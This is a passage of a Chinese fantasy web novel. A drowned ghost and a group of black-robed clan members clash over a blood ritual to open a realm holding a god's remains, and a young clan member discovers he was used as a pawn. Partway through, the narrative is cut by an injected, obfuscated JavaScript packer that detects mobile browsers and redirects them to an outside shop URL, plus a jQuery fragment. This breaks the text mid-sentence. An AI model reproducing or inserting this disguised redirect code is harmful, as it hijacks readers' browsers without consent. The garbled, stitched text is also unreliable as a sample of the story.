阿罗一边笑一边哭,她的手在抖,声音也在颤抖。 “春水寒,桃花败,麻绳缚骨沉河底。水中月,梦里身,阿罗抱枝八百春。” …… 兰溪被眼前的场景惊骇到说不出话,她只觉得不寒而栗,身体不由自主地后退。 卫祁……他死了? 他死了……怎么会死呢? 阿罗突然停下来动作,她缓缓回头,一张混着血肉泥水的脸,扭曲的脸带着一丝满足和说不尽的悲伤。 她看着兰溪,嗤嗤地笑起来。 兰溪看着那具像极了卫祁的尸体,看着阿□□哑发问:“你……杀了他?” 阿罗听了这话,黑洞洞的眼睛望着兰溪突然大笑了起来,指着自己道:“……我杀了他?是他杀了我才对!是他杀了我!” 阿罗看着那具尸体,那些烂在泥里的血肉,她脸上的笑一点点消失:“我找了这里几百年……用李家人的血肉去找寻这里,什么都做了也找不到这里。” 她看着兰溪开口:“可是你打开了。” “你可知道,十方界一开,他的魂体就散了,他只能继续回来死在这里,继续在这里沉睡。” 兰溪听不懂阿罗在说什么,她眉头微蹙:“你说什么……” “我说,他死了。”阿罗脸上又裂开那个扭曲的笑,她指了指那具尸体:“你看他,早就死得骨头都快烂了,你见不到吗?” 兰溪心头一紧,僵在原地,阿罗看到兰溪如鲠在喉的表情开心地嗤笑起来。 在这时,地上那些薄薄的水层里冒出一些细细密密的藤蔓,触稍像新生的草芽轻轻地缠上来,兰溪觉得手腕一痒,低头看见这柔柔的藤蔓。 阿罗也看见了那些藤蔓,她脸色一变,突然变得无比痛苦,她捂住自己的胸口,像是又东西在里面搅动撕扯,有力量把她从内部撕裂。 “不!”她猛地扑向兰溪,双手拽住她的肩膀,拼命往外拽:“你跟我走!跟我走!” 兰溪被她拖着走,她感觉阿罗像是某种力量拖拽着向外拖,她死死攥着兰溪要拉着她一起。 兰溪被阿罗拽着一起重重摔出了十方界,她发现她回到了原先的那座破庙里。 她还没来得及站稳,就看见眼前站着一群人,是几个穿黑袍的黑衣人,他们站在庙中心的空地上,帽兜压得极低,看不清面容。 地上刻着一个法阵,暗红色的纹路从阵心蔓延出来,法阵的纹路里淌着血,像交错的血管延伸,阵心里躺着李兆京,他双目紧闭,呼吸微弱,身上大片鲜花绽开,血液源源不断陷入法阵。 柳梢跪在阵法边缘,身上被黑色的绳索缠着,她怎么挣扎也扯不开,青羽在旁边也被捆着,他已经变回人形,脸上青一块紫一块。 青羽看见兰溪,挣扎着想坐起来,又被旁边黑袍人一脚踹了回去。 “别动!”踹人的黑衣人冷冷道。 阿罗摔在地上后,那为首的黑袍人抬手用铁链操控着拖着阿罗,拽着她按在地上,阿罗的头磕在石板上,她抬起头,脸上满是恨意盯着几个黑衣人。 “青罗刹。”那个黑袍人走到她面前,居高临下地看着她开口:“我让你祭祀打开十方界,你进去之后迟迟不开界门,你当我们很好耍吗?” 阿罗啐了一口血水,她慢慢爬起来冷笑:“你们让我祭祀打开十方界,我是进去了,可我没说要给你们,他的东西,哪怕是一根头发、一滴血,那也是我的,凭什么给你们?” 另一个黑袍人气急败坏开口:“青罗刹,你本就是个溺死的水鬼,罪孽深重,永世不得超生,我族念你修行不易,与你结盟,许你事成之后超脱苦海,你便是这样报答的?” “结盟?真可笑!”阿罗声音提高:“当初你们找上我,哄骗我说要助我祭祀,找到春神遗骸……” “结果你们那个青溟,在这口井里设下执念笼,把我困了这里,还在我身上种咒术,让我替你们卖命!” “青溟自作聪明背着我感应到十方界擅自行动,现在他不知道死在了哪里,连个屁都没留下!你们折了一个青溟,就换个人来继续逼我?你们青鸾族,上上下下,过河拆桥,都是这副德行!” “住口!”一个黑袍人厉声喝道:“青溟擅自行动,违抗族命,他的死咎由自取,可若非你拖延,十方界早已打开,何须我族耗费如此多的人力物力!你一个溺死的水鬼,也配指责我青鸾族?” “你们跟我有什么区别?”阿罗仰起头冷笑:“你们自诩多高贵多体面啊,你们敢说,你们不是冲着春神的遗骸去的?你们难道不是为了他那点残存的神力,不是为了他那具据说天地之灵的尸身?你们连他死了都不放过,一帮子敲骨吸髓的虫子!” 几个黑袍人一瞬间沉默了,他们的脸一个个绷得很紧,阿罗却嗤嗤地笑了,笑声在空旷的庙里回荡。 青羽一直盯着那些黑袍人,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407996|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见对话后沉着脸一言不发,直到看见那个黑袍人转过头,帽兜下的脸露出一张熟悉的脸。 “师兄?”青羽终于开口,声音很轻带着一些不可置信:“你们……真的是来祭祀的吗?” 那个为首的黑袍人转过头,帽兜下露了出来一张年轻的脸,他看着青羽,有些嘲弄地笑了笑,回避了问题。 “青羽,你在族里这么多年,连这点事都看不明白?”他的语气轻蔑:“修行之路,本就是逆天而行,成大事者不拘小节。” “可那都是人命!”青羽有些绝望地嘶吼:“李家上下多少人,还有那些被青罗刹害死的百姓,你们明知她是什么东西!你们明明可以阻止她,可你们没有!你们放任她害人,就为了让她替你们打开十方界!” 黑袍人居高临下的看着青羽:“青羽,你修行了多少年?连个外门洒扫的弟子都不如,你在族里是什么地位,你自己不清楚吗?你就是个天赋低劣,悟性愚钝的废物!” “像你这样的废物,有什么资格质问族中的决定?你以为你多读了些书,就什么都懂了?修行本就是弱肉强食,胜者为王,那些凡人如同蝼蚁,本来就是为我们铺路的石子,能用他们的命换春神遗骸,是他们的造化。” “本来派你来金陵,指望你能有点用,结果你居然和青鸾族对着干!那你就和其他人一起去死吧!” 青羽喉间仿佛被堵住,他张张嘴,嘴唇微抖。 他想起自己奉族中之命千里迢迢来到金陵,以为真的是为了寻回族叔的妖丹,这是为了青鸾族的清誉,自己一路上还觉得这是件光荣的事,族里终于肯重用他了。 原来都是骗人的,从始至终,他只是一颗可有可无的棋子。 “师兄……”他的声音沙哑开口:“长老们……知道这些事吗?族里的长老们是不是都默许了?是不是……全族都参与了?” 黑袍人没有回答,他只是看着青羽嘲讽一笑。 “青羽,你问这些有什么用?你是能去哪里告状?还是能去三界之中揭穿我青鸾族?你以为这三界之中其他人就很干净吗?” “废物就是废物,想法都这么天真。” 青羽从那轻飘飘的语气里读到了默认,他有些绝望地闭上了眼睛。 他小时候爱在族中藏经阁里读书,读到青鸾族伴神而生的荣耀历史,读到祖先斩妖除魔的功绩,他那时只觉得骄傲。 原来都是假的。 那些荣耀,那些功绩,那些写在纸上的道貌岸然,只有贪婪是真的,只有杀戮是真的。 …… 黑袍人不再看青羽,他阴冷冷地目光重新看向阿罗,走上前一步:“青罗刹,我奉劝你识相,你现在再替我们打开十方界,我们留你一命,否则……” 他抬起手,指尖掐诀,阿罗的身体猛地弓起,像被一只无形的手攥住喉咙,被悬在半空然后重重撞在墙壁上。 “否则,你就在这儿再钉八百年,让你生不如死。” 铁链从墙壁里探出,将阿罗死死钉在那里,阿罗喘着气,嘴角的血顺着下巴滴落,她抬着头,视线从所有人之间扫过。 她的视线落到兰溪身上,盯着她笑了,她缓缓举起手,无力地指向兰溪。 “她……她可以操控十方界。”